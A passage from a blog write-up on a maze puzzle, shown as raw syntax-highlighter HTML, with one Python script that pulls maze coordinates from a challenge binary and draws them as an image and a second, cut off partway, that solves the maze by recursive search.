data-line=\"crayon-57eb96174b220832868833-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b220832868833-41\">41<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\">\n<div id=\"crayon-57eb96174b220832868833-1\" class=\"crayon-line\"><span class=\"crayon-p\">#!\/usr\/bin\/env python<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-2\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b220832868833-3\" class=\"crayon-line\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">Image<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-4\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">sys<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-5\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b220832868833-6\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">maze_path<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-s\">&#8220;.\/maze&#8221;<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-7\" class=\"crayon-line\"><span class=\"crayon-v\">maze_offs<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0x13e0<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-8\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">maze_size<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">17276<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-9\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b220832868833-10\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">err<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">stderr<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">write<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;[-] %s\\n&#8221;<\/span> <span class=\"crayon-o\">%<\/span> <span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-11\" class=\"crayon-line\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">die<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">err<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-12\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b220832868833-13\" class=\"crayon-line\"><span class=\"crayon-st\">try<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-14\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">with <\/span><span class=\"crayon-e\">open<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">maze_path<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-st\">as<\/span> <span class=\"crayon-v\">f<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-15\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">seek<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">maze_offs<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-16\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">buf<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">read<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">maze_size<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-17\" class=\"crayon-line\"><span class=\"crayon-v\">except<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-18\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">die<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Could not extract maze data from binary&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-19\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b220832868833-20\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">arr<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-21\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b220832868833-22\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">max_x<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-23\" class=\"crayon-line\"><span class=\"crayon-v\">max_y<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-24\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b220832868833-25\" class=\"crayon-line\"><span class=\"crayon-st\">for<\/span> <span class=\"crayon-v\">a<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-i\">b<\/span> <span class=\"crayon-st\">in<\/span> <span class=\"crayon-e\">zip<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-e\">iter<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-26\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">y<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">ord<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">a<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-e\">ord<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">b<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-27\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-v\">x<\/span> <span class=\"crayon-o\">&gt;<\/span> <span class=\"crayon-v\">max_x<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-v\">max_x<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-i\">x<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-28\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-v\">y<\/span> <span class=\"crayon-o\">&gt;<\/span> <span class=\"crayon-v\">max_y<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-v\">max_y<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-i\">y<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-29\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">arr<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">append<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-30\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b220832868833-31\" class=\"crayon-line\"><span class=\"crayon-v\">w<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">max_x<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">1<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-32\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">h<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">max_y<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">1<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-33\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b220832868833-34\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">im<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">Image<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">new<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;RGB&#8217;<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">w<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">h<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">255<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">255<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">255<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-35\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b220832868833-36\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-st\">for<\/span> <span class=\"crayon-e\">pos <\/span><span class=\"crayon-st\">in<\/span> <span class=\"crayon-v\">arr<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-37\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">im<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">putpixel<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pos<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-38\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b220832868833-39\" class=\"crayon-line\"><span class=\"crayon-v\">im<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">resize<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e \">w*<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-e \">h*<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">save<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;maze.png&#8217;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b220832868833-40\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b220832868833-41\" class=\"crayon-line\"><span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>This is the resulting PNG file:<br \/>\n<a href=\"http:\/\/www.clevcode.org\/wp-content\/uploads\/2015\/01\/maze.png\"><img loading=\"lazy\" class=\"aligncenter size-full wp-image-153\" src=\"http:\/\/www.clevcode.org\/wp-content\/uploads\/2015\/01\/maze.png\" sizes=\"(max-width: 716px) 100vw, 716px\" srcset=\"http:\/\/www.clevcode.org\/wp-content\/uploads\/2015\/01\/maze.png 716w, http:\/\/www.clevcode.org\/wp-content\/uploads\/2015\/01\/maze-300x159.png 300w\" alt=\"maze\" width=\"716\" height=\"380\" \/><\/a><\/p>\n<p>I then wrote a simple recursive algorithm in order to solve the maze:<\/p>\n<div id=\"crayon-57eb96174b228007564355\" class=\"crayon-syntax crayon-theme-solarized-dark crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"crayon-plain-wrap\"><\/div>\n<div class=\"crayon-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums \" data-settings=\"show\">\n<div class=\"crayon-nums-content\">\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b228007564355-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b228007564355-50\">50<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\">\n<div id=\"crayon-57eb96174b228007564355-1\" class=\"crayon-line\"><span class=\"crayon-v\">NONE<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span> <span class=\"crayon-p\"># Not visited yet<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-2\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">WALL<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">1<\/span> <span class=\"crayon-p\"># This position contains a wall<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-3\" class=\"crayon-line\"><span class=\"crayon-v\">GOAL<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">2<\/span> <span class=\"crayon-p\"># This is the position we are searching for<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-4\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">DONE<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">3<\/span> <span class=\"crayon-p\"># Used to mark positions that have already been visited<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-5\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b228007564355-6\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># Simple recursive algorithm to solve the maze. Does not find an optimal<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-7\" class=\"crayon-line\"><span class=\"crayon-p\"># path, but good enough. Does not include sub-paths leading to dead ends,<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-8\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># that are backtracked during the search.<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-9\" class=\"crayon-line\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">find_path<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-10\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-p\"># Yeah&#8230; Ugly, but gets the job done. \ud83d\ude1b<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-11\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-m\">global<\/span> <span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">maze<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">max_x<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-e\">max_y<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-12\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b228007564355-13\" class=\"crayon-line\"><span class=\"crayon-e\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-v\">maze<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">==<\/span> <span class=\"crayon-v\">GOAL<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-14\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-p\"># The path is created in reverse, while backtracking<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-15\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">path<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-16\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">return<\/span> <span class=\"crayon-t\">True<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-17\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">elif <\/span><span class=\"crayon-v\">maze<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">==<\/span> <span class=\"crayon-e\">WALL <\/span><span class=\"crayon-st\">or<\/span> <span class=\"crayon-v\">maze<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">==<\/span> <span class=\"crayon-v\">DONE<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-18\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">return<\/span> <span class=\"crayon-t\">False<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-19\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b228007564355-20\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">maze<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">DONE<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-21\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b228007564355-22\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x<\/span> <span class=\"crayon-o\">&lt;<\/span> <span class=\"crayon-e\">max_x <\/span><span class=\"crayon-st\">and<\/span> <span class=\"crayon-e\">find_path<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-23\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">or<\/span><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">y<\/span> <span class=\"crayon-o\">&gt;<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0 <\/span><span class=\"crayon-st\">and<\/span> <span class=\"crayon-e\">find_path<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">y<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-24\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">or<\/span><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x<\/span> <span class=\"crayon-o\">&gt;<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0 <\/span><span class=\"crayon-st\">and<\/span> <span class=\"crayon-e\">find_path<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-25\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">or<\/span><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">y<\/span> <span class=\"crayon-o\">&lt;<\/span> <span class=\"crayon-e\">max_y <\/span><span class=\"crayon-st\">and<\/span> <span class=\"crayon-e\">find_path<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">y<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-26\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-p\"># Inserting instead of appending, since we are backtracking<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-27\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">insert<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span 